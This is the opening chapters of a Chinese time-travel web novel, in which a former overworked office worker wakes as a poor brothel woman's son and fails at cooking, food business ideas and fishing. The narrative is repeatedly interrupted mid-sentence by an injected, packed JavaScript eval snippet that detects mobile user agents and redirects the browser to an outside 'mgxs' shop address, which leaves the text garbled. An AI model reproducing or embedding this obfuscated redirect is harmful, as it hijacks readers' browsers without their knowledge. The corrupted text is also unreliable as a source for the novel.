《青楼竹马是卷王》 1. 开局不利 第001章开局不利 一股混合着馊水、霉味和某种难以言喻的腐败气息的恶臭，像一记闷拳，把刚穿过来的灵魂硬生生锤醒。 他睁开眼，眼屎还糊着眼睛，但已经足够他看清眼前的情况。几个穿着古代服装的男孩，正嬉闹着往他身上泼污物，泼完还要用棍子戳一戳：“喂，死了吗？没死就起来擦一擦，你看你脏死了，跟你娘一样脏！” 瘫在地上，浑身污物的是个小男孩，因为过于瘦弱，甚至看不出实际年龄。 可他醒来后只是呆了一会，就突然暴起。完全没有反应过来的顽童们被他抢去了手中的树枝，用沾满了污物的树叶狠狠地打了每个人一下！ “啊啊啊！”反应过来的顽童们惨叫，纷纷躲开他的树枝，甚至来不及愤怒，就被男孩的反击给吓得四窜。 终于有个身强力壮的顽童反应过来，恶狠狠地骂：“柳安！你疯了吗！你还敢还手？！”说着，就拿起块角落的青砖准备砸过去，被叫“柳安”的小男孩阴森森地瞪着他，突然间露出一抹咬牙切齿的狠笑：“你爷爷我活不了，你们也别想活！都这样了我还怕死？死前把你们每人的肉都给咬下来几块我也不亏，死了以后我也不去阴曹地府，天天趴你们床头找你们玩儿，怎么样？” 他的狠劲让那些还没真见过血的顽童们吓坏了，他眼神里的疯狂和狠绝也不像假的。就算是那个高大的孩子王，也只能强装着气势说：“你这小身板，打得过我们？” “柳安”龇着牙，摸了一把自己身上的污物，朝孩子王冲去：“来啊，你打我啊？” 他那恶臭的身子眼看就要冲过来，孩子王惨叫一声，也顾不得自己的形象，扭头就跑。 作恶不需要心理负担，可一旦被人反击，就会衡量利弊了。 围着他的几个孩子一哄而散，只留下一地狼藉。 柳安扶着墙，喘着粗气，直到那群身影消失，才脱力般松了劲。浓烈的臭味包围着他，他再也忍不住，弯腰干呕起来，却只吐出些酸水。 “妈的……这是什么地狱开局……”他喃喃着，用袖子干净的地方擦了把脸，凭着脑中混乱的记忆，踉跄着朝“家”走去。 跟他昏倒前的水泥地板不一样，这里每一步都踩在真实的泥泞里。牛车马的腥臊味、小摊贩的油烟味、劣质脂粉味、还有角落里隐约的尿臊味……各种气息混杂着冲击他的感官。这不是影视城，这是活生生的、粗糙而残酷的古代市井。 凭着越来越清晰的记忆走到自己的“家”，推开那扇吱呀作响、仿佛一用力就能散架的破木门，就看到一套带着小院子的老破小。院子里只种了几根半死不活的竹子，连遮阴的树都没有，一张瘸了腿的凳子靠着墙角摆放。老破小的门再用力点都能直接搬走。 家徒四壁。糊着发黄废纸的墙壁，结满蛛网的屋顶，一张硬板床，一个破衣柜，一张掉漆的梳妆台，一张歪腿的饭桌，就是全部。空气里弥漫着劣质脂粉的甜腻气息，还有掩盖不住的陈旧房屋的臭味和不明的馊味，破烂的房屋就像他在古装游戏里寻宝的杂物间。 等他捂着脑袋在这破烂但还算干净的房子里转了两圈后，发现米缸是空的，水缸是长毛的，灶台上只有一碗不知陈酿了几年的酱菜，还有半个看起来能砸墙的“馍馍”。 心里拔凉的他终于鼓起勇气坐到屋里唯一一张缺了角的梳妆台前。 那铜镜模糊得仅能看清人有两只耳朵一双眼，但勉强能让柳安看到自己到底穿到了什么人身上：那是一个面黄肌瘦、头发枯黄的小男孩，正瞪着一双因为瘦而显得过分大的眼睛，衣服是电视剧里面的古代贫穷日常风，尽管如此，仍磨灭不了他的美貌。 对，美貌。 柳安摸着自己的小脸，小孩特有的细腻触感让他忍不住一摸再摸，又在镜子里左看右看，终于感叹一声：穿越过来唯一比从前好一点的事情，就是这容貌。 小男孩柳安——穿越前的名字就不提了，提了也白提，穿前是个合格的996社畜，甚至台风天后都能面不改色心不跳的踩着倒塌的大树前往公司打卡上班。就在他又一次获得“奋斗者”徽章的那天，回家路上心脏突然一阵剧痛，等他再睁开眼，就到了这里。 身上的恶臭让他再次干呕了几声，但这里不可能有热水器，只能到井里打水来冲洗。虽然身体是柳安的，但里面那个灵魂可是从小没咋干过活的小镇做题家。在井里打了几次终于把木桶充满，他直接坐在小院里冲洗自己的身体。 木桶估计也不知道多久没清洗了，舀起一瓢水，看到水面上漂浮的细微杂质，犹豫了一下，还是咬咬牙，从头浇到脚。 刺骨的井水仍然让他在炎热的夏天打了个寒战，好在现在是夏天，要是冬天，他该怎么活？柳安吸了吸鼻子，好想念他那温暖的浴霸和水压十足的热水器。 从衣柜里拿出唯一一件换洗的衣服，躺到床上，努力唤醒原主的记忆，却发现原主的回忆充满了愤怒、恐惧和孤独，和无知。最有用的信息只有一句话： 我娘是最下贱的女人…… 豁，他老娘居然是青楼女子！那我岂不也是贱籍？！ 他才在现代世界卷出人生上坡路，就被发配到新手村开地狱难度？这开局配置，连村口要饭的怕是都比我有前途！老天爷你让我穿越过来，是因为我天天捧老板臭脚，还是因为我年会的时候唱“我爱公司我爱工作996是福报”？ 柳安不敢相信，他努力调动自己全身的神经，企图从身上找到诸如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271748|198132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神奇空间，神秘系统，随身灵宝，天书提示，神秘道具等等的穿越必备金手指，结果从烈日炎炎躺到残月当空，依旧没有一丁点的友情提示出现。 ……比发配宁古塔还惨的待遇。 好在刚穿越过来人还没那么精神，柳安虽然饿得很，还是迷迷糊糊睡了过去。等他醒来的时候，就看到一个女子推门走进来，把手里拿着的荷叶包放到桌上。 “来吃点吧。”声音很疲惫，好像是熬了个大夜。 柳安坐起来揉揉眼，终于确定眼前这个风韵犹存的妇女是自己的母亲——柳云娘。 女人有着精致的五官，眼角眉梢的媚态和动作的妖娆都显示她不大像正经出身的女子，本该让人惊艳的面容，因为微微下垂的眉毛和嘴角，暴露出上了年纪才有的愁苦。 柳安刚想张口喊“娘”，□□记忆却让他先别过了头。原主对这个娘感情复杂，记忆里最多的，是嫌弃和疏离，毕竟谁愿意从小被其他孩子骂“婊子养的”？要知道，青楼女子是贱籍，她的儿子也是贱籍。 在古代，贱籍意味着你一辈子都与主流事业无关，无法通过科举走上仕途，无法去做赚钱最多的行业，甚至随时都有可能被主家——春华楼的主人发卖。 因此从懂事开始，他就对云娘的身份深以为耻，云娘似乎也因着这身份，对着儿子总有些小心翼翼的讨好和难以掩饰的疲惫，母子俩关系从五岁开始就冷淡得好像租客和房东一般。 穿越过来的柳安内心不以为意。首先作为穿越过来唯一能指望的人，他必须抱紧大腿，甚至带她一起逃离苦海，否则自己作为一个未成年，连户口都办不了。其次柳安不是原主，他无法继承那份因出身而生的尖锐恨意。相反，现在在他眼里看到的，只是一个在泥潭里挣扎，却还想托住孩子的女人。 但原主那股强烈的抵触情绪和穿越者的疏离感交织，让他的感觉分裂得很，只能沉默地走过去，打开荷叶包。 荷叶包着里面是混在一起的、看起来像是剩饭剩菜的东西，卖相极差。柳安对这边的物价没有概念，却也能从这个家的存粮中判断得出这荷叶里面应该都是昨晚青楼剩的饭菜。并且还不是给云娘他们吃的伙食，而是恩客的。 强烈的饥饿感让他顾不上许多，用手抓起就往嘴里塞。味道难以形容，但他吃得很快，几乎是吞咽。 云娘对他的沉默已经习以为常，转身进厨房简单擦拭了一番，就回房睡觉了。 桌上突然多了十文钱——应该是留给柳安的生活费。他拿起钱，若有所思地看了眼云娘的房间，然后小心翼翼地把钱放进胸口的夹层里，用袖子抹干净嘴巴，准备外出看看。 他必须尽快摸清楚，自己到底穿越到了一个什么样的环境。 2. 原来很穷 凭着原主的记忆、门口的叫花子、路边的小摊贩、在附近晃荡想把他骗走的拐子，柳安慢慢拼凑出这个世界的基本模样。 这是个叫“大晟”的朝代，他所在的就是大晟的国都“雍京”，这里的风物类似我们的宋朝。没有一点历史依据，纯架空，也就是说他仅有的一点历史知识完全派不上用场。 呵，就算不架空，也没用。柳安自嘲一笑——他是个理科生。在穿越过来前，对古代的知识只有电视剧电影小说上看的那些，更过分的是那些导演没几个按照古代实际情况来拍，他能学到什么？ 这里用不上微积分，用不上统计学，用不上代码，用不上英语四级，能用上的也许只有小学数学知识，还有当年高考要背的古文。 可高考后，谁还不把这些知识全部捐赠给了自己的学校！ 最关键的是——他睁大眼睛看着对面门楣上贴着的褪色红纸，那上面鬼画符一样的繁体字——他，一个都，不！认！识！ 写的标准点的繁体字，他可以勉强读读，问题是这些草书写的啥？那些拆开来看还能懂，合在一起又看不懂的字又是啥？ 堂堂一个大学生在这里成了个半文盲。 在穿越过来的第二天，柳安已经想一头撞死穿回去。 因为早上他要上厕所。 当柳安第一次在臭气熏天、蚊蝇环绕的旱厕里，看着那堆着的用于清洁的瓦片和树叶时，他的内心是崩溃的。这比他当年在西藏上的旱厕还要原始和挑战底线！ “草（一种植物）！” 他捏着鼻子，进行了一场极其艰难且具有创伤性的生理活动后，决定今天的第一件事就是出门去买上厕所用的纸。 于是拿着云娘给的十文钱就火速出门。 柳家住的地方是京城的南曲巷，经过柳安这两天的观察，发现附近邻居都是些底层人民，有卖吃食的小摊贩，有替人写信的穷苦书生，有耍猴的卖艺人，有赌坊的帮工，有杀猪的屠户…… 南曲巷就有一间杂货铺，他仔细辨认着上面“王记杂货”这四个字，确认自己没看错后，深吸一口气，走了进去。 店里光线昏暗，一股混合着纸张、草药和灰尘的气味，柜台后是个正在包油纸包的老头。 “掌柜的，草纸怎么卖？”柜台上摆满了货品，柳安踮起脚尖，才能完全把自己的脑袋露出来。 老头慢悠悠地指了指墙角一摞粗糙发黄的物事：“寻常草纸，一刀（约100张）四十文。” ……没听错？ 擦屁股的纸……十张要四文钱？？？ 那他上一次厕所最少两张纸吧？一次要擦掉一文钱？ 他脑海里迅速进行着换算和对比。穿越前，一卷卫生纸不过几块钱，足够用很久。而这里，四十文钱……根据他刚刚一路打听的物价，一个肉包子大概两文钱，一碗素面五文钱，一个壮劳力一天辛苦下来，可能也就赚个二三十文。 他的屁股有这么金贵吗？ “有……再便宜点的吗？”他不死心地问。 老头嗤笑一声，带着点揶揄：“小娃子，嫌贵？那边有河边的麻杆，自己去撅，不要钱。或者自己弄块厕筹（竹片或木片）。等你能挣钱了再来享受草纸吧！” 用麻杆？厕筹？那体验他光想想就觉得皮燕子一紧。 是要肉包子，还是要皮燕子？这对一个同志来说，真是世界上最难选的选择题。 最终，柳安还是灰头土脸地走出了杂货铺。 原来我这么穷。 之前云娘留下的十文钱，他只当是零花，现在才真切体会到：这可能是她省下来、够自己吃两三天饭的生活费。 他一个穿越者，居然需要一个女人靠皮肉生意来养活。 一种混合着羞愧和现实压力的情绪涌上心头。 “不行，坐吃山空不是办法。在找到稳定的赚钱门路前，必须省钱了。”他下定决心。 自己做饭总比买现成的便宜，于是他拐进旁边的粮铺，问了米价。糙米倒是不算特别贵，五文钱能买一小袋，大概够他吃几天。他又用剩下的五文钱买了些蕨菜、萝卜和一小撮粗盐。看着空空如也的钱袋，柳安叹了口气。 刚刚买菜的时候打听过，一家三口一顿饭差不多七八文钱，他手里的十文钱按照原主的花法，也就只能用个两天。云娘的残羹剩菜是有掉落几率的，并不是每天都能带吃的回来。原主以前经常一天一到两个包子勉强度日，饿极就到处偷鸡摸狗，左邻右舍见他可怜，也就睁一只眼闭一只眼。但现在的柳安是经过社会主义教诲的，他还没到能接受自己道德沦丧的模样，加上他想存点钱创业，于是这点钱他必须掰开来用。 回到家，面对冰冷的灶台，柳安才意识到下一个难题——生火做饭。 在现代世界活了二十六年，他唯一跟“灶”打交道的经验就是燃气灶扭一下，然后煮点加了鸡蛋和青菜的泡面。作为合格的小镇做题家，从小他的现代母亲就只让他好好学习，十指不沾阳春水到了工作。工作的大厂的福利也很好，食堂琳琅满目，吃了两年多还有很多待解锁的菜谱，要不就是饿死了吗送过来的外卖。以至于他连炒青菜都只有短视频教的理论，毫无操作过的实际。 眼前的土灶、柴火、吹火筒，对他来说堪比精密仪器。 他回忆着看过的影视剧片段，笨手笨脚地把柴火塞进灶膛，然后用翻箱倒柜找出来的火折子点火。浓烟瞬间冒起，呛得他眼泪直流，火苗却迟迟不肯起来。他鼓起腮帮子学着用吹火筒吹，结果吹了一脸灰，火没旺，反而差点灭了。 折腾了将近半个时辰，弄得灰头土脸，灶膛里总算有了些微弱的火苗。他赶紧把淘好的米和不知道分量合不合适的水倒进锅里，盖上沉重的木头锅盖。 接下来是漫长的等待。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271749|198132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他蹲在灶前，小心翼翼地添着柴，既要保持火不灭，又怕火太大把饭烧糊。烟熏火燎中，他第一次对古人的生存能力产生了深深的敬畏。 那些穿越者们的适应期为什么这么短？他连上厕所都需要做足心理准备，目前看来适应这个世界的生活起码还得十好几天，那些穿越者一来就能打翻身仗……是他太弱鸡，还是他们心理素质太强大？ 不知过了多久，锅里传来“咕嘟咕嘟”的水滚声，有米香飘出。柳安心中一喜，觉得大功告成。又等了一会儿，他满心期待地揭开锅盖。 眼前的景象让他傻眼了。水放得太多，火候又没掌握好，一锅粥不像粥、饭不像饭的糊状物呈现在眼前，上面还夹着些黑乎乎的锅巴和没燃尽的草灰。 饿极了的柳安也顾不了那么多，用木饭勺盛了一碗，吹了吹，尝了口，口感粘糊，有原始的米香味，但也有一股淡淡的霉味，还夹杂着烟熏火燎的焦糊味和生米芯子味。 这就是夹生饭吧？可水都烧干了，还怎么煮啊？ 应该能吃。柳安自我安慰，连忙把所有的的饭和锅巴都挖出来。又丢了几片蕨菜和萝卜丝进去炒。家里只剩一丢丢的菜籽油，他心疼地滴了几滴，又撒了一丢丢盐，保证有味道就行。炒到他目测觉得熟了的程度，就赶紧舀到碗里。。 几片菜叶和萝卜，就着一碗夹生饭，勉强抚慰了他饿到发酸的胃。 当天晚上，他的“福报”就来了。 肚子开始一阵阵绞痛，咕噜咕噜响个不停。捂着肚子，他脸色发白，一趟接一趟地往那个让他深恶痛绝的旱厕跑。腹泻来得又急又猛，好几次拉到差点掉进坑里。 最可怕的是拉完还得擦，那粗糙的质感结合着漫天飞舞的苍蝇，如同噩梦一般。 虚脱地瘫倒在硬板床上，柳安望着漆黑的屋顶，双眼发直。 省钱计划出师未捷身先死。穿越者的知识，在生存最基本的技能——生火做饭面前，显得如此苍白无力。他不仅没省到钱，还把自己搞病了，而且怕什么来什么，他现在已经满脑子都是那“屎山蝇海”，每个毛孔里似乎都被恶臭腌入味了。 柳安翻身，把自己埋进那脏兮兮的荞麦枕头里，呜呜呜哭起来。 他二十六了，996没能压垮自己，领导的不要脸没能击溃自己，发现自己是GAY的时候也没有心理崩溃。现在，面对一个旱厕，他就崩溃了。更不能想后面还有什么磨难等着一个下九流阶层的自己。 在这个陌生的时代，活下去，远比他想象的要艰难得多。 他好想外卖，他再也不催外卖员了。 他好想用抽水马桶，他再也不嫌公司的厕所有味儿了。 他好想用喷淋头洗澡，他再也不浪费水在浴室里唱歌了！ “妈的……穿越就是惩罚……”他在腹痛中昏昏沉沉地睡去，梦里都是抽水马桶冲水的哗哗声。 3. 商业考察 拉了一夜肚子，浑身虚脱的柳安在硬板床上躺了整整一天，连起床烧水的力气都没有。云娘第二天早上回来，看到他脸色苍白，摸了摸他额头，没说什么，只是默默熬了碗稀薄的米汤放在他床头，又留下几文钱。 娘俩全程没有一句对话，柳安是心里别扭，云娘是害怕听到拒绝，两人默契地都闪躲对方的眼神。 等柳安可以下地了，云娘已经回春华楼上班。 他捏着那几枚铜钱，感觉分量格外沉重。不能再坐以待毙，也不能再瞎折腾了。必须找点正经事做，哪怕是最低级的打工。 这个时代的人都早熟，六七岁他们就开始承担固定的轻活，农家孩子会喂猪喂羊、帮忙晒谷、搓麻绳、择菜；市井人家的孩子则帮着看铺子、跑腿买东西、整理货物。原主八岁了，虽然看着不大像，但谋一份帮工的生计应该还是可以。 民以食为天，穿越者最喜欢选的就是美食。作为前卷王，他决定从最熟悉的“吃”入手考察。帮一段时间的工，了解市场行情后，也许能发现什么蓝海市场——比如，最常见的现代小吃，什么卤鸡卤鸭卤一切，什么麻辣中辣微微辣，什么甜品冻品烘焙品。柳安觉得自己虽然曾经五谷不分四体不勤，但是只要知道基本原理，在这边又学了点技术，创个业应该不成问题。 第二天，他揣着那点可怜的“启动资金”，再次走向金鱼池大街。 如果说南曲巷是个居民区，金鱼池大街绝对是京城的主要商业中心之一。街上人流熙熙攘攘，两侧店铺卖什么的都有，药铺、食肆、服饰，还有许多娱乐业态，勾栏瓦舍、赌坊、典当铺、青楼，凭借着柳安浅薄的历史知识，他猜测这里应当是传说中的三教九流汇聚之地，也就是传说中的销金窟。 这里好啊！这里的生意应该超好做！ 喜悦之情在看到大大的“春华楼”三个字时，消散殆尽。 从记忆力就蹦出来一句话：那里是他娘上班的地方。 真是一个落魄的青楼啊。 从门口迎客老鸨的脸上都能看出对生意惨淡的强撑。跟对面那金碧辉煌还建了彩楼欢门的万花楼比起来，这里简直老旧得没有一点吸引力。楼是老的，里面的女人也是老的，就算柳安前生没逛过红灯区，可他也能从倚栏卖笑的女人脸上看到掩饰不住的衰老和倦色。 这里全是他娘一个岁数的吗？ 苍天啊，这特么开局比孤儿还惨！ 孤儿虽说没有监护人，可人身自由没有被一个老鸨捏在手上啊！更何况……柳安摸了摸自己的脸，打了个冷战，他还是个美人儿，保不齐后面会被这些没什么道德底线的家伙拉出去卖。 虽然他前世是喜欢走后门的主，不代表他喜欢被一堆人走后门。 柳安没敢再靠近，他脸色难看地侧身绕进旁边的巷子。 离这里远一点。 万一被瞧上，那他这次穿越的主题一定会变成《青楼恨》。 管他会不会遇到霸道王爷，如果真的要经历过这些事情才能遇到，那霸道王爷还是请你另谋高就。老子曾经是社会主义接班人，是有底线的！ 绕到另一边后，他终于可以继续好好考察他的商业项目。 然而，越看，他的心越凉；越看，他作为现代人的那点可怜的优越感越被击得粉碎。 眼前的“会仙楼”就是个金碧辉煌的食肆，三层彩楼欢门，飞檐斗拱，门口悬挂着栀子灯，电视剧上的布景都没它精致。穿着干净短衫的伙计站在门口，不是粗鲁吆喝，而是笑容可掬地迎客：“官人里面请，今日有新到的黄河鲤鱼！” 门口挂着的水牌用漂亮的字体写着菜品和价格，柳安瞄了一眼，一道不明觉厉的“决明兜子”要五十文，一道“螃蟹酿橙”更是要近半贯钱（五百文）！这价格似乎很好赚，可上面丰富的菜名看得他一头雾水：盏蒸羊、酥黄独、春兰秋菊、蟠桃饭……光听名字都雅得很，柳安却无法想象这是什么，怎么做。 恰好有伙计端菜出来。那菜品的精致程度，让他看傻了眼：橙子塞肉，莲蓬塞肉，清炸荷花瓣，石头炒饭……食物烹饪的形式多得超出他的认知，更别说那充满中式美学艺术感的摆盘和连字都认不得的菜名。 他这个现代预制菜受害者，没有文化底蕴，也没有美食生产底蕴，他又该拿什么去跟人家比？ 他唯一能靠记忆去做的火锅应该没有吧？ 结果刚想到去打探，就听店小二大喊一声：“拨霞供来啦！” 接着，一个类似精致小火锅的陶炉就端到了顾客面前，随之而来的还有一小碟切成薄片的肉，切成丝的素菜，甚至还给上了蘸料。 柳安麻了。 ……其他穿越者穿越的架空世界真好，还留了个火锅的BUG给他们。为什么轮到他，就什么机会都没了？撞墙再穿一次行吗？ 沮丧了一会，他又安慰自己，反正启动资金也不够，做什么高端餐饮，去看看中低端的。 于是又来到一家看起来还算普通的食肆门口。 只见这家“曹记面食”门面整洁，外面用竹竿搭着凉棚，下面摆着整齐的桌椅。店门口立着个大牌子，甚至还用颜料画着菜单图示，栩栩如生。价格也清晰标出：撺肉粉羹，十文、猪胰胡饼，六文……光面就七八种，胡饼更是咸甜香辣均沾。 伙计穿着统一的围裙，高声唱喏：“客官一位，里面宽敞——”，声音洪亮且有节奏，跟现代的海底捞没啥区别。 柳安被那纯粹的面香味硬控了好一会才勉强拔腿离开。 没事，古代饮食这么费人工，正好适合他推出“高效便捷”的现代快餐。他给自己打气。 结果下一家就给他狠狠地抽了一巴掌。 这个“王家分茶”卖的就类似现代套餐，但精致得多。伙计端给客人的托盘里，一碗晶莹米饭，一碟时鲜炒菜，一碟切好的肉片，甚至还有一小碗清汤，搭配得宜，色香味俱全，价格也不过十几文钱。普通的工匠、小吏坐在里面狼吞虎咽，脸上都带着满足。 他原本想搞的“盖浇饭”在这面前简直弱爆了，人家这都已经是港式茶餐厅的水平！ ……这特么的就剩下小吃一项了。 他抱着最后一丝希望，又去逛小吃店。结果发现人家的糖果蜜饯店里摆着各种蜜饯，还有他压根没尝过的水晶皂儿、生腌水木瓜、药木瓜、甘草冰雪凉水、荔枝膏……样样造型精美，色泽诱人，且明显是用了复杂的糖饴和工艺。 糖，在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271750|198132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个时代确实是奢侈品，但绝非没有，而且被运用得登峰造极，只要你出得起钱，就没有买不到的糖制品。就这，人家还会稀罕你的大白兔奶糖吗？！ 旁边的油炸点心也很应景地飘来了香气，各种炸的香酥的团子和面食，还有肉食，与现代其实没有太大的差异，唯一庆幸的是没有香蕉——柳安以前最爱炸香蕉。可转念一想，是人家没想到吗？恐怕是这个时代压根就没普及香蕉。 街头还有卖“冰雪冷元子”的，担子一头是裹着棉被的木桶保冷，一头是精致的瓷碗，显得干净卫生。冰店里卖的冰酪，看着就像现代的刨冰，还是牛乳味的…… 柳安站在街角，闻着空气中交织的各种食物香气，看着往来食客们满足的表情，内心受到了巨大的冲击。 他原本以为的“降维打击”——用现代麻辣烫、炸鸡排、奶茶来征服古人的味蕾——完全是个笑话。别人穿的什么时代他不知道，至少在他这里，全都是空中楼阁。 首先，材料限制就是天堑。这里辣椒没有，番茄没有，很多调味料没有。白糖昂贵如金，植物油种类稀少，很多现代美食的基础就不存在。哪怕你想从炼黄油开始，你也得有足够的成本去试错、去规模化生产，然后才能降低使用成本。 其次，古人的饮食智慧和审美，远超他的想象。哪怕材料比现代少，可无论在味道、造型还是意境上，他们都达到了极高的水准。尤其是对“鲜”和“本味”的追求，对时令的尊重，对味蕾意境的塑造，对食材制作的讲究，都是现代美食难以比拟的。要不怎么会有这么多古代美食失传？ 最后，饮食背后的文化内涵，他根本不懂。他只知道那个橙子塞了肉，那个莲蓬塞了菜，那朵花用来煮了饭，至于美食背后的文化他是一个字都说不上来。作为只会“螺蛳粉加煎蛋”的现代社畜，拿什么去跟人家比拼文化和格调？ 柳安苦笑，心里那点靠美食创业翻身的火苗，被现实彻底浇灭。 他失魂落魄，正好路过一个卖“旋煎羊白肠”的小摊前，香味就像一只恶魔，从鼻尖钻到了胃里，在里面张牙舞爪，刺激得嘴角都痛苦地流下了“泪水”。他咬咬牙，花三文钱买了一小份。肠子煎得外焦里嫩，毫无膻味，再撒上不知名的香料粉末，入口咸香滚烫，味道出奇的好吃。 就连这最普通的街头小吃，也不逊色于他之前吃过的任何现代小吃。 柳安一边烫得嘶嘶哈哈地吃着，一边彻底认清现实：想靠“更好吃”或者“更新奇”来在餐饮业闯荡，此路不通。 古人不是傻子，他们的舌头也很挑剔，何况这里贫富差距如此之大，最上头那些豪门更不知吃得多刁钻。 吃完最后一口羊白肠，舔了舔嘴角的油，看着熙熙攘攘、充满烟火气的街市，柳安第一次对这个时代产生了真正的敬畏。 打工？去食铺帮厨？人家要的是有手艺的师傅，或者能扛活的杂役，他这八岁的小身板去了能干嘛？洗盘子都嫌他慢。 而且他如果不做美食创业，帮工一天挣的这些钱，只怕连一份大份的羊白肠都买不起。 一股更深的无力感笼罩了他。空有超越千年的见识，却在这个繁荣似锦的时代，找不到一个能让自己安身立命的缝隙。 4. 世道艰难 接下来的几天，柳安啥都做不了，因为他必须适应作为一个古代人的生活。 先别说什么现代金手指，光是要适应每天刷牙没有牙刷只有烂树枝，没有厕纸只有树叶或瓦片，没有饮用水只有一缸子长了绿毛的“液体”，没有糖和调味料只有粗糙得卡喉咙的盐巴，柳安一次又一次地望着院墙外的歪脖子树，思考如何死去才能穿回现代。 活不了，真是一点都活不了。 美食行不通，做手工艺？ 呵呵，当年读书他是名列前茅，可在工作的第一年，就把小学三年级以后的记忆全部捐给了母校。他又不是油管手工UP主，他懂个啥？平时能照着说明书把宜家家居搭建起来已经是他手工的最高境界。 那就剩农耕创业。 柳安转了几圈他们家巴掌大的院子，发现连养只鸡都走不了。去街市一看，是有很多种苗售卖，可他一个小镇做题家，小时候为了让他好好学习，他妈连饭都不让他做，工作后天天吃公司饭堂或者饿死了吗的外卖，麦子水稻原生长成啥样都不知道！更别说什么温室大棚培养、外来品种育苗。这几天他手贱，连门口的那盆仙人掌都快浇死了，已经足够说明他在这上面的天赋。 柳安蹲在家门口，无语望天。 为什么不让我穿越到侯府？！ 哪怕是一个小富家庭呢？！只要有启动资金，起码他还能做点别的什么小生意，这年头靠信息差可以做的生意还是有的，但绝不是他这种穷得连饭都吃不起的家庭可以肖想的。 穷未必是因为懒，穷人为了生存下去已经花光了所有精力，谈何上进？ 穿越后的第二十天，无聊得受不了的柳安决定去做点无本万利的事情——钓鱼。 京城里有不少河流的分支，但由于是京城，哪怕是偏僻的分支，一样是停满了各种货船、客船，稍微大一点的湖边，则是光鲜亮丽的花船、游船。柳安找了好久，都快被晒死了，才发现但凡水边有阴凉地的，可以钓鱼的地方全被占满了。 古人是古，不是蠢。 拎着根竹竿的柳安只要出现在他们眼前，都会被眼神杀退。最后柳安没辙，用柳枝编了个帽子，顶着大太阳，用后院挖的蚯蚓开始钓鱼。 也不知道是古代的鱼太狡猾，还是那时候所有的野生动物都吃不饱饭，他钓了半天，居然只上钩了一条小刀鱼。 但这也足够鼓励他了。在这个显得他太过废物的年代，起码他还能找到点吃的。 正当他兴致勃勃准备继续，肩膀被人拍了一下。 他的笑容在看清身后人的时候，凝滞在脸上。 “喂，小子，交河道保护费了吗？”堪称街头小霸王身形的壮硕男孩双手抱胸，居高临下的睥睨着他。 “大哥，我这鱼连牙缝都不够塞……”柳安讨好地笑着。 “你在这里坐一个时辰，交一条，两个时辰两条，现在刚好一个时辰，先交了，接下来你钓多少都归你。”小霸王很好商量。 “大哥我刚来，能不能有个免费体验期？” “什么免费体验期？”小霸王想看着傻子一样看着他。 “你看啊……”柳安企图用自己的理论去说服眼前的小胖墩，“这河道这么长，但是鱼获每个点都不一样，我刚来，压根不知道哪里能钓的上鱼，如果我刚来就收费，那岂不是以后就不敢再来大哥您这里钓鱼了？我去别人家那儿也是钓，但是如果别人同意免费让我试钓一两次，我找到好钓的地方了，以后就经常去他那里，那您不就是少一个客户吗？” “大哥他说的好像有点道理……”小胖墩后面的尖嘴猴腮跟班嘀咕。 小胖墩目测也就十一二岁的模样，哪里听过这么长的辩论，不耐烦挥挥手：“让你交就交！少你一个不少！”他才不管以后，现在有鱼就行！ 柳安一副可惜的模样：“大哥，您看我才坐了一个时辰就钓上来一条，还是刚来呢，要是以后钓的多了，那不是天天有鱼，您还可以收多两条不是？……啊！” 一个拳头砸到脸上，柳安摔倒在地。 他眼睁睁地看着自己唯一的收入被人夺走，那小胖墩还嫌弃地撇嘴：“跟他啰嗦些什么，他到哪儿去钓都行，路过我们这里就要交钱！不敢交试试，老子的拳头就是道理！” 一群人呼啦啦地簇拥着小胖墩走了。 留下柳安呆坐在地上，愣是好半天才回过神。 Tnndx！秀才遇到兵，有理说不清！ 这世界还讲不讲道理了！不讲道理他就算口才好又有什么用？ 他捂着脸，心想回去好好冰敷一下，保护好这张好看的脸，谁知走过第三个巷口时，就听见了熟悉的笑声。 ……真是祸不单行。 躲都没来得及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271751|198132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲，就听是一声拔高的调笑：“哟，看看这是谁？” 